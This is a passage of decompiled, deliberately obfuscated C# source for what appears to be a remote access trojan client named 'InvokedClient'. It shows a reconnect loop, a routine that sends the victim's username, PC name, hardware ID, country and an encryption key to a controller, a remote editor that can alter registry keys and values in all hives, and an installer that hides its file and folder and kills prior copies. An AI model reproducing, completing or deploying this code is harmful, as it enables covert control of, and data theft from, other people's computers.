					cancellationToken = 漥ᯍ䊒錈ʵ㍬塦\u2d71玁ⶰ캖웝㚢╫竲�ងꑄ笯煩;
					cancellationToken.WaitHandle.WaitOne(1000);
				}
				catch (Exception ex) when (ex is NullReferenceException || ex is ObjectDisposedException)
				{
					((Client)this).Disconnect();
					return;
				}
			}
			cancellationToken = 漥ᯍ䊒錈ʵ㍬塦\u2d71玁ⶰ캖웝㚢╫竲�ងꑄ笯煩;
			if (!cancellationToken.IsCancellationRequested)
			{
				Thread.Sleep(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.\ue068ᙺ＜ᗐ\ued7cꏬ৶ᙦڦ翣\u0cd9輄ꄮ\u1925㊽⪶샓㔂寍瓉 + 馼造扨곝㮹㭛孼뭑\ua981\u0f3eକ\uef2f嫓所➚\u2e70볬鳆\ue8b7\uf867.Next(250, 750));
				continue;
			}
			((Client)this).Disconnect();
			break;
		}
	}

	private void ꘏⯺䄮⫽촧㥻돒겡\ue8ec됡⎢䮯�᧾\ueb6b\ue1f6␓ϕȺ쎮(Client client, IMessage message, int messageLength)
	{
		//IL_0022: Unknown result type (might be due to invalid IL or missing references)
		if (!鯲礜挭��ꈹⰗ啫ⱏ岳Ⓕ㈫踻柴双餃籽芼ⱍ篚)
		{
			if (((object)message).GetType() == typeof(ClientIdentificationResult))
			{
				鯲礜挭��ꈹⰗ啫ⱏ岳Ⓕ㈫踻柴双餃籽芼ⱍ篚 = ((ClientIdentificationResult)message).Result;
			}
		}
		else
		{
			MessageHandler.Process((ISender)(object)client, message);
		}
	}

	private void 飊曙⚘푴읨諝ᵥ诪鈶섔몋麳稅帛\u0c5b譓떨\uf5fe恍郌(Client client, Exception ex)
	{
		client.Disconnect();
	}

	private void 튥\uf7a5ﲞ鱇䣒狚롉\u2de4\ue478寵�俺籕⦻鲉춇켅\uedf7Ṋ꺹(Client client, bool connected)
	{
		//IL_0018: Unknown result type (might be due to invalid IL or missing references)
		//IL_001d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0028: Unknown result type (might be due to invalid IL or missing references)
		//IL_0033: Unknown result type (might be due to invalid IL or missing references)
		//IL_0035: Unknown result type (might be due to invalid IL or missing references)
		//IL_003a: Unknown result type (might be due to invalid IL or missing references)
		//IL_004d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0059: Unknown result type (might be due to invalid IL or missing references)
		//IL_0065: Unknown result type (might be due to invalid IL or missing references)
		//IL_0071: Unknown result type (might be due to invalid IL or missing references)
		//IL_007c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0088: Unknown result type (might be due to invalid IL or missing references)
		//IL_0093: Unknown result type (might be due to invalid IL or missing references)
		//IL_009e: Unknown result type (might be due to invalid IL or missing references)
		//IL_00a9: Unknown result type (might be due to invalid IL or missing references)
		//IL_00be: Expected O, but got Unknown
		鯲礜挭��ꈹⰗ啫ⱏ岳Ⓕ㈫踻柴双餃籽芼ⱍ篚 = false;
		if (connected)
		{
			\u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ obj = \ue2e0䈙ﻄ鬰Ꝃ\uf5ffぺဟ돲\ue899灠抿蚞፮髏ࣉ뤴≣ꋨꇕ.尭瓠Ꝫ亘琉馩蝟噞荲\uf868ꖛẳ挠ᳲ⣍㵛쾭턽胺ऱ();
			驃\ue5c3梅悐좤ừ懯萑㈹\ua8de⡇䑎놙㡧騫\u0fef\u2450\ufe1c␊ꗙ obj2 = new 驃\ue5c3梅悐좤ừ懯萑㈹\ua8de⡇䑎놙㡧騫\u0fef\u2450\ufe1c␊ꗙ();
			client.Send<ClientIdentification>(new ClientIdentification
			{
				Version = 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.퇢䱷試桿⓪ἔ培ማᒋ㮇」辎槣峅鞗⡌죤\ue505༎\uf21b,
				OperatingSystem = PlatformHelper.FullName,
				AccountType = ((object)obj2.Type/*cast due to constrained. prefix*/).ToString(),
				Country = obj.Country,
				CountryCode = obj.CountryCode,
				ImageIndex = obj.ImageIndex,
				Id = \u05b9싍\uee20误펋桹�☚\uf398屆ъ춬㑌࠷㴕黡\ue28d橂稝\ue372.HardwareId,
				Username = obj2.UserName,
				PcName = \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.ῑ醤俀덒\u245f䍹꿂浗⠄ế�㵏㫢퇋蕄䛉헾㕘ꊔ绨(),
				Tag = 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.엮ᣞ᧷濑榥ㆂ펮\u1cdf⠣៹렇灤ꊥ起\uabe9溯輚�⭱늟,
				EncryptionKey = 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ࢀ됸鯴춬ô땥\ueebb衞ⱪ暍銋⋄뺱尭措\ue94d䁝९瘬愃,
				Signature = Convert.FromBase64String(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.䢫❜\u0fe1�蕓웼Ე䓸蔀홟ᜊ鲻캆絛\uee52\ue0e7鿤㶏됥�)
			});
		}
	}

	public void 炊⺘ 䢻戳北視얈禙壃�未셦\uf083ᔗ촆\uf33a囄空엽()
	{
		選웭臡힝\u0f8d뫖⊺ꪩ楿骁Ì띏ꡳ\u0e47\u1babᐅ綨䘹ẝ洜.Cancel();
		((Client)this).Disconnect();
	}

	public void Dispose()
	{
		Dispose(disposing: true);
		GC.SuppressFinalize(this);
	}

	protected virtual void Dispose(bool disposing)
	{
		if (disposing)
		{
			選웭臡힝\u0f8d뫖⊺ꪩ楿骁Ì띏ꡳ\u0e47\u1babᐅ綨䘹ẝ洜.Cancel();
			選웭臡힝\u0f8d뫖⊺ꪩ楿骁Ì띏ꡳ\u0e47\u1babᐅ綨䘹ẝ洜.Dispose();
		}
	}
}
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
[DebuggerNonUserCode]
[CompilerGenerated]
internal class 쟹ꭥᔇଫ楔씳ᒥᙃ푐Ꙍќۯɂ笝⸱铳Ꭷ脯컞\ue715
{
	private static ResourceManager 쩿）꽫\u0604ᤎ럿ᚼ鱀謹蛨\uf42c⺢Ꭻ�溊찝\ue9f3Œ㨒ݗ;

	private static CultureInfo 芀鿟\u17ba\uf084\ue5d4簗ᅊ�☪喋ꛀ\ue67eĲ큅釒閂얷☥ӷ홸;

	[EditorBrowsable(EditorBrowsableState.Advanced)]
	internal static ResourceManager ResourceManager
	{
		get
		{
			if (쩿）꽫\u0604ᤎ럿ᚼ鱀謹蛨\uf42c⺢Ꭻ�溊찝\ue9f3Œ㨒ݗ == null)
			{
				쩿）꽫\u0604ᤎ럿ᚼ鱀謹蛨\uf42c⺢Ꭻ�溊찝\ue9f3Œ㨒ݗ = new ResourceManager("InvokedClient.Properties.Resources", typeof(쟹ꭥᔇଫ楔씳ᒥᙃ푐Ꙍќۯɂ笝⸱铳Ꭷ脯컞\ue715).Assembly);
			}
			return 쩿）꽫\u0604ᤎ럿ᚼ鱀謹蛨\uf42c⺢Ꭻ�溊찝\ue9f3Œ㨒ݗ;
		}
	}

	[EditorBrowsable(EditorBrowsableState.Advanced)]
	internal static CultureInfo Culture
	{
		get
		{
			return 芀鿟\u17ba\uf084\ue5d4簗ᅊ�☪喋ꛀ\ue67eĲ큅釒閂얷☥ӷ홸;
		}
		set
		{
			芀鿟\u17ba\uf084\ue5d4簗ᅊ�☪喋ꛀ\ue67eĲ큅釒閂얷☥ӷ홸 = value;
		}
	}

	internal 쟹ꭥᔇଫ楔씳ᒥᙃ푐Ꙍќۯɂ笝⸱铳Ꭷ脯컞\ue715()
	{
	}
}
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.10.0.0")]
[CompilerGenerated]
internal sealed class ꌡ\ueef8物퉧耪�뺠⺐�Ẩ沏뻳嫚鴗�龎㩛ᧆ뷁렠 : ApplicationSettingsBase
{
	private static ꌡ\ueef8物퉧耪�뺠⺐�Ẩ沏뻳嫚鴗�龎㩛ᧆ뷁렠 墙먕릲�䟴闋Ｌϕ삍揪㪫韸籹㝼\ue4c0桘�軆�ᗊ = (ꌡ\ueef8物퉧耪�뺠⺐�Ẩ沏뻳嫚鴗�龎㩛ᧆ뷁렠)(object)SettingsBase.Synchronized((SettingsBase)(object)new ꌡ\ueef8物퉧耪�뺠⺐�Ẩ沏뻳嫚鴗�龎㩛ᧆ뷁렠());

	public static ꌡ\ueef8物퉧耪�뺠⺐�Ẩ沏뻳嫚鴗�龎㩛ᧆ뷁렠 Default => 墙먕릲�䟴闋Ｌϕ삍揪㪫韸籹㝼\ue4c0桘�軆�ᗊ;
}
public class 戍熢\u1b02₤ඡ衫퀌䫭哨웲꺥\ue23fꉇ䋺븆밃耒℮\u0731䣋
{
	private const string ꦥ\uf0a9钖攄矅㳨詘\u1afd萜Ⓚ㟉\ua9dc橻�㋡ˎ쩷杽솟䷳ = "Cannot create key: Error writing to the registry";

	private const string 㾎\uf895쏶侄齃职\uf595ꂲ썳⮛温㌆攙꿴鴱ᝊ\ue83c檨ᆲ毇 = "Cannot delete key: Error writing to the registry";

	private const string 蕟蕖寇퀓ځ鰄Ҿ拀䣄䙄䰫\ue3c9\ue212싸째얣珋�큯僴 = "Cannot rename key: Error writing to the registry";

	private const string 涧㠒\u1f7f냼쵩賆鮂緤Ԯ\u2040攘ꄮ\uede7釀秱�Ԝ켳\ue5e1薴 = "Cannot create value: Error writing to the registry";

	private const string ⌐\u0cd2躀됳�款\uef8eභ䎱\ufbbb枓\u1afb糙㔆쓶盇ꖓ괔\ue901侰 = "Cannot delete value: Error writing to the registry";

	private const string ム㏑磭\uf85b웏�줪䋽狤叁噸텷곍\uf500츱䲁ਭ㋰⒓꯷ = "Cannot rename value: Error writing to the registry";

	private const string 걽᭩\uf736鯉\ufe24驉㐥௮⧗棢鞉\uf46c缴縪ᱹꘕ�㴧\u2439줲 = "Cannot change value: Error writing to the registry";

	public static bool ᾋ༶泇吺ᓳ痄蕋ꐇ婶ㄠ䴇꩷뙄褯咋❬콑⟗\ue985ᨇ(string parentPath, out string name, out string errorMsg)
	{
		name = "";
		try
		{
			RegistryKey registryKey = 蒴\ue0ea祺謙콜ꐃ鸰₳ন羴礏왴愸篰ඪ뚷䇥甜뾋㐵(parentPath);
			if (registryKey == null)
			{
				errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator";
				return false;
			}
			int num = 1;
			string text = $"New Key #{num}";
			while (registryKey.ContainsSubKey(text))
			{
				num++;
				text = $"New Key #{num}";
			}
			name = text;
			using (RegistryKey registryKey2 = registryKey.CreateSubKeySafe(name))
			{
				if (registryKey2 == null)
				{
					errorMsg = "Cannot create key: Error writing to the registry";
					return false;
				}
			}
			errorMsg = "";
			return true;
		}
		catch (Exception ex)
		{
			errorMsg = ex.Message;
			return false;
		}
	}

	public static bool 渵⇗驷茗ꕛ査鍬齭칦밲⧳ꝑ홯㵘奯懅㣪鋑쟿乵(string name, string parentPath, out string errorMsg)
	{
		try
		{
			RegistryKey registryKey = 蒴\ue0ea祺謙콜ꐃ鸰₳ন羴礏왴愸篰ඪ뚷䇥甜뾋㐵(parentPath);
			if (registryKey == null)
			{
				errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator";
				return false;
			}
			if (!registryKey.ContainsSubKey(name))
			{
				errorMsg = "The registry: " + name + " does not exist in: " + parentPath;
				return true;
			}
			if (!registryKey.DeleteSubKeyTreeSafe(name))
			{
				errorMsg = "Cannot delete key: Error writing to the registry";
				return false;
			}
			errorMsg = "";
			return true;
		}
		catch (Exception ex)
		{
			errorMsg = ex.Message;
			return false;
		}
	}

	public static bool ވẲ畞ﳫ勖䎮ძ泿㴒䍺踁ଜ䜨꽢�텥률�밯鞶(string oldName, string newName, string parentPath, out string errorMsg)
	{
		try
		{
			RegistryKey registryKey = 蒴\ue0ea祺謙콜ꐃ鸰₳ন羴礏왴愸篰ඪ뚷䇥甜뾋㐵(parentPath);
			if (registryKey == null)
			{
				errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator";
				return false;
			}
			if (!registryKey.ContainsSubKey(oldName))
			{
				errorMsg = "The registry: " + oldName + " does not exist in: " + parentPath;
				return false;
			}
			if (!registryKey.RenameSubKeySafe(oldName, newName))
			{
				errorMsg = "Cannot rename key: Error writing to the registry";
				return false;
			}
			errorMsg = "";
			return true;
		}
		catch (Exception ex)
		{
			errorMsg = ex.Message;
			return false;
		}
	}

	public static bool ﳱ瑱ꋾ㿢绪藋嫽欏䗹鮋뼟圩䴋ힲ훌荒頵ꎤ뢢⼊(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
	{
		name = "";
		try
		{
			RegistryKey registryKey = 蒴\ue0ea祺謙콜ꐃ鸰₳ন羴礏왴愸篰ඪ뚷䇥甜뾋㐵(keyPath);
			if (registryKey == null)
			{
				errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator";
				return false;
			}
			int num = 1;
			string text = $"New Value #{num}";
			while (registryKey.ContainsValue(text))
			{
				num++;
				text = $"New Value #{num}";
			}
			name = text;
			if (!registryKey.SetValueSafe(name, kind.GetDefault(), kind))
			{
				errorMsg = "Cannot create value: Error writing to the registry";
				return false;
			}
			errorMsg = "";
			return true;
		}
		catch (Exception ex)
		{
			errorMsg = ex.Message;
			return false;
		}
	}

	public static bool \uf8ae⑂淲뼕⁕唲띢媰༅㬎殿௦뮒悵\u0a37ѝ��청\ua8f0(string keyPath, string name, out string errorMsg)
	{
		try
		{
			RegistryKey registryKey = 蒴\ue0ea祺謙콜ꐃ鸰₳ন羴礏왴愸篰ඪ뚷䇥甜뾋㐵(keyPath);
			if (registryKey == null)
			{
				errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator";
				return false;
			}
			if (!registryKey.ContainsValue(name))
			{
				errorMsg = "The value: " + name + " does not exist in: " + keyPath;
				return true;
			}
			if (!registryKey.DeleteValueSafe(name))
			{
				errorMsg = "Cannot delete value: Error writing to the registry";
				return false;
			}
			errorMsg = "";
			return true;
		}
		catch (Exception ex)
		{
			errorMsg = ex.Message;
			return false;
		}
	}

	public static bool 镺\u1977荟뢙ㄆ哣䟰音湠櫊瀞ﺳ誄㞥\uecbe爋邁ໞ錨최(string oldName, string newName, string keyPath, out string errorMsg)
	{
		try
		{
			RegistryKey registryKey = 蒴\ue0ea祺謙콜ꐃ鸰₳ন羴礏왴愸篰ඪ뚷䇥甜뾋㐵(keyPath);
			if (registryKey == null)
			{
				errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator";
				return false;
			}
			if (!registryKey.ContainsValue(oldName))
			{
				errorMsg = "The value: " + oldName + " does not exist in: " + keyPath;
				return false;
			}
			if (!registryKey.RenameValueSafe(oldName, newName))
			{
				errorMsg = "Cannot rename value: Error writing to the registry";
				return false;
			}
			errorMsg = "";
			return true;
		}
		catch (Exception ex)
		{
			errorMsg = ex.Message;
			return false;
		}
	}

	public static bool ꋉ걟큍\uef11㜵ꟊឩ䝴᭻࿉乢䫘珄絤䢯։붠ἇ\ue6cdᗕ(RegValueData value, string keyPath, out string errorMsg)
	{
		try
		{
			RegistryKey registryKey = 蒴\ue0ea祺謙콜ꐃ鸰₳ন羴礏왴愸篰ඪ뚷䇥甜뾋㐵(keyPath);
			if (registryKey == null)
			{
				errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator";
				return false;
			}
			if (!凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.\uf871퇏焫仈ሡ�ᝈ\ufe04㣔靪蘬㛣�Ẑ싷\ue9a6�䖲\ueb18\uffbf(value.Name) && !registryKey.ContainsValue(value.Name))
			{
				errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath;
				return false;
			}
			if (!registryKey.SetValueSafe(value.Name, value.Data, value.Kind))
			{
				errorMsg = "Cannot change value: Error writing to the registry";
				return false;
			}
			errorMsg = "";
			return true;
		}
		catch (Exception ex)
		{
			errorMsg = ex.Message;
			return false;
		}
	}

	public static RegistryKey 蒴\ue0ea祺謙콜ꐃ鸰₳ন羴礏왴愸篰ඪ뚷䇥甜뾋㐵(string keyPath)
	{
		RegistryKey registryKey = \u0328㙁駂\uffc1犙䉩㿳ꃱ\u1a5d盠棰ꮕ쎫♩⣡ꈔ䊌\u0e65牍퉪.鑖㠝饨잣臒㎖\ue935귖堠다팓\ue8e2緔羸Κ\ue6e9☖\ue278溰෧(keyPath);
		if (registryKey != null && registryKey.Name != keyPath)
		{
			string name = keyPath.Substring(registryKey.Name.Length + 1);
			registryKey = registryKey.OpenWritableSubKeySafe(name);
		}
		return registryKey;
	}
}
public class \u0328㙁駂\uffc1犙䉩㿳ꃱ\u1a5d盠棰ꮕ쎫♩⣡ꈔ䊌\u0e65牍퉪
{
	private readonly List<RegSeekerMatch> 煛㡈\uef4a㾕똖㷛\uf413뇡튮\ue085釵\uf523ꚓ꛴똹霹ٿ䷖뱖\uf584;

	public RegSeekerMatch[] Matches => 煛㡈\uef4a㾕똖㷛\uf413뇡튮\ue085釵\uf523ꚓ꛴똹霹ٿ䷖뱖\uf584?.ToArray();

	public \u0328㙁駂\uffc1犙䉩㿳ꃱ\u1a5d盠棰ꮕ쎫♩⣡ꈔ䊌\u0e65牍퉪()
	{
		煛㡈\uef4a㾕똖㷛\uf413뇡튮\ue085釵\uf523ꚓ꛴똹霹ٿ䷖뱖\uf584 = new List<RegSeekerMatch>();
	}

	public void 왧�椊\ued1f！\ue3b6釻龝鶍널ﴢﯡظ\ue8aa\ue2f6\uefa3ᘷ使偟㈭(string rootKeyName)
	{
		if (!string.IsNullOrEmpty(rootKeyName))
		{
			using (RegistryKey registryKey = 鑖㠝饨잣臒㎖\ue935귖堠다팓\ue8e2緔羸Κ\ue6e9☖\ue278溰෧(rootKeyName))
			{
				if (registryKey != null && registryKey.Name != rootKeyName)
				{
					string name = rootKeyName.Substring(registryKey.Name.Length + 1);
					using RegistryKey registryKey2 = registryKey.OpenReadonlySubKeySafe(name);
					if (registryKey2 != null)
					{
						贈䅨頔Ყ婂⣎趛㱇ꊡ�簻㖝ᵌ\ue4f0洁⸢\ueb36ᚶ\uf43d땯(registryKey2);
					}
					return;
				}
				贈䅨頔Ყ婂⣎趛㱇ꊡ�簻㖝ᵌ\ue4f0洁⸢\ueb36ᚶ\uf43d땯(registryKey);
				return;
			}
		}
		贈䅨頔Ყ婂⣎趛㱇ꊡ�簻㖝ᵌ\ue4f0洁⸢\ueb36ᚶ\uf43d땯(null);
	}

	private void 贈䅨頔Ყ婂⣎趛㱇ꊡ�簻㖝ᵌ\ue4f0洁⸢\ueb36ᚶ\uf43d땯(RegistryKey rootKey)
	{
		if (rootKey == null)
		{
			foreach (RegistryKey item in \uea9b솑\uea21㘄萟則홏\ue02eゅࢂⰎ覔ԛ礝ﮥ氙緼ꎝ७⨽())
			{
				炸䍁㭴ᄈꆱ뙉ᬏ霬击혵횲\u05bd鳡丢䣚\uf42a\uf078\ue5f1ủ㓳(item, item.Name);
			}
			return;
		}
		풡\uf138뒔鲕裂鰷㎀䗌섖鸼씌\ue6d1\u0c56涏汦\u0fae�\uf5a7畐䅘(rootKey);
	}

	private void 풡\uf138뒔鲕裂鰷㎀䗌섖鸼씌\ue6d1\u0c56涏汦\u0fae�\uf5a7畐䅘(RegistryKey rootKey)
	{
		string[] subKeyNames = rootKey.GetSubKeyNames();
		foreach (string text in subKeyNames)
		{
			炸䍁㭴ᄈꆱ뙉ᬏ霬击혵횲\u05bd鳡丢䣚\uf42a\uf078\ue5f1ủ㓳(rootKey.OpenReadonlySubKeySafe(text), text);
		}
	}

	private void 炸䍁㭴ᄈꆱ뙉ᬏ霬击혵횲\u05bd鳡丢䣚\uf42a\uf078\ue5f1ủ㓳(RegistryKey key, string keyName)
	{
		if (key != null)
		{
			List<RegValueData> list = new List<RegValueData>();
			string[] valueNames = key.GetValueNames();
			foreach (string name in valueNames)
			{
				RegistryValueKind valueKind = key.GetValueKind(name);
				object value = key.GetValue(name);
				list.Add(凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.쫆\ue55b\uf4b8⛬坫Ṅ앣痢ᶢนꏫ쀐�菫\ua67bꚢ糈㷢酘Ŗ(name, valueKind, value));
			}
			繢ѩ槵\u0abe췤㥡ᆝꋚ먣䦉䧹蝅療\ue974\uef62喴\ue050徬룢ꙥ(keyName, 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.ﶿ삑쥥楢지㉶刉䣞똈៰垿⏩庰儺ሬ虄\u2de5鬀쓖\ue099(list), key.SubKeyCount);
		}
		else
		{
			繢ѩ槵\u0abe췤㥡ᆝꋚ먣䦉䧹蝅療\ue974\uef62喴\ue050徬룢ꙥ(keyName, 凲ⱀ\u0f9dꂦ뼌鉼퇰ꮄ쏠삖�䔰ᅋ᧗轌＜꾥䀅켃錭.㚵萺Ⱕ�ꋁṙ쐤쯞ᯐ컊ᥔ\u089e⮫௩㼌凍룉렁ဒ젇(), 0);
		}
	}

	private void 繢ѩ槵\u0abe췤㥡ᆝꋚ먣䦉䧹蝅療\ue974\uef62喴\ue050徬룢ꙥ(string key, RegValueData[] values, int subkeycount)
	{
		//IL_0006: Unknown result type (might be due to invalid IL or missing references)
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0012: Unknown result type (might be due to invalid IL or missing references)
		//IL_0019: Unknown result type (might be due to invalid IL or missing references)
		//IL_0028: Expected O, but got Unknown
		煛㡈\uef4a㾕똖㷛\uf413뇡튮\ue085釵\uf523ꚓ꛴똹霹ٿ䷖뱖\uf584.Add(new RegSeekerMatch
		{
			Key = key,
			Data = values,
			HasSubKeys = (subkeycount > 0)
		});
	}

	public static RegistryKey 鑖㠝饨잣臒㎖\ue935귖堠다팓\ue8e2緔羸Κ\ue6e9☖\ue278溰෧(string subkeyFullPath)
	{
		string[] array = subkeyFullPath.Split(new char[1] { '\\' });
		try
		{
			return array[0] switch
			{
				"HKEY_CLASSES_ROOT" => RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64), 
				"HKEY_CURRENT_USER" => RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64), 
				"HKEY_LOCAL_MACHINE" => RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64), 
				"HKEY_USERS" => RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64), 
				"HKEY_CURRENT_CONFIG" => RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64), 
				_ => throw new Exception("Invalid rootkey, could not be found."), 
			};
		}
		catch (SystemException)
		{
			throw new Exception("Unable to open root registry key, you do not have the needed permissions.");
		}
		catch (Exception ex2)
		{
			throw ex2;
		}
	}

	public static List<RegistryKey> \uea9b솑\uea21㘄萟則홏\ue02eゅࢂⰎ覔ԛ礝ﮥ氙緼ꎝ७⨽()
	{
		List<RegistryKey> list = new List<RegistryKey>();
		try
		{
			list.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64));
			list.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64));
			list.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64));
			list.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64));
			list.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64));
			return list;
		}
		catch (SystemException)
		{
			throw new Exception("Could not open root registry keys, you may not have the needed permission");
		}
		catch (Exception ex2)
		{
			throw ex2;
		}
	}
}
public class 誹挦ꗨ뜱䊺ȇꓓ\u1ade鄕�뛗嵀啨꺋Ｂ⬁鯧锖맃\u0dce : 袖煆欦밬㲝殴焒क़\u175c짇\uf8f0퐺\ue23d浾\ue7cbﴒ섺ᇰꋵ座
{
	public void \u102f嘛儱馧厲\ueb40鷦솝\u085f\ue80bか㉰㵋육畓䠊슓秢꽝噲()
	{
		if (泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.燤곬몚Ⓐػ啻砈\ua4cc\uf183樓즡অボ띕道�驯降䞨⪷)
		{
			new 쮚\ue0e8襱⢳उ嚺\uf0f1눳\ue6e3饃㸆Ⓖ\ue5c6眥ꩂ歟礐\ue713\ue9cb㔬().ᮄ鴙䃴�㥶櫗�ᆼ\uf2fd䓍啩\ue45a\uecb9\u1f5c愵뷮琗\uf813뎉烘(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍, 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.�봣枦譡ᥛ\u08e1ᣭ䁻ง툼巺斂\ueee6礂뭆୮胙ᡀ\u0a48ᆵ);
		}
		if (泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ꅜ掙具雎\uf2ab殥엃\uf893ⓗ괻\ue1c7藗阙�䳐\ua953婸탲듔윻 && 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.弙밳咦뮍鵞櫉룕徸ᄥ\uea60ㆲ㚷챓쿪튭ς腞⚵胶䦵)
		{
			try
			{
				File.SetAttributes(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍, FileAttributes.Hidden);
			}
			catch (Exception)
			{
			}
		}
		if (!泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ꅜ掙具雎\uf2ab殥엃\uf893ⓗ괻\ue1c7藗阙�䳐\ua953婸탲듔윻 || !泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.\uf6d4哖ᵝ\uef0d᯾☍蚮붷湡貴▿\uf128馳茊䨁먴瘡眷ꤽ걹 || string.IsNullOrEmpty(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.\ue37f鞡ᢌ\uf138䮇\ue4f8䑞럭鈢\uf4d6䈐梉꿫겟厜궹�频ぅⱦ))
		{
			return;
		}
		try
		{
			new DirectoryInfo(Path.GetDirectoryName(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍)).Attributes |= FileAttributes.Hidden;
		}
		catch (Exception)
		{
		}
	}

	public void 傠뙙ࢯ讪ᐡ�\ue556梏䄴鶴洋禽瞃낮�鍘䄣剼懍䘗()
	{
		if (!Directory.Exists(Path.GetDirectoryName(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍)))
		{
			Directory.CreateDirectory(Path.GetDirectoryName(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍));
		}
		if (File.Exists(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍))
		{
			try
			{
				File.Delete(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍);
			}
			catch (Exception ex)
			{
				if (ex is IOException || ex is UnauthorizedAccessException)
				{
					Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍));
					int id = Process.GetCurrentProcess().Id;
					Process[] array = processesByName;
					foreach (Process process in array)
					{
						if (process.Id != id && !(process.GetMainModuleFileName() != 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍))
						{
							process.Kill();
							Thread.Sleep(2000);
							break;
						}
					}
				}
			}
		}
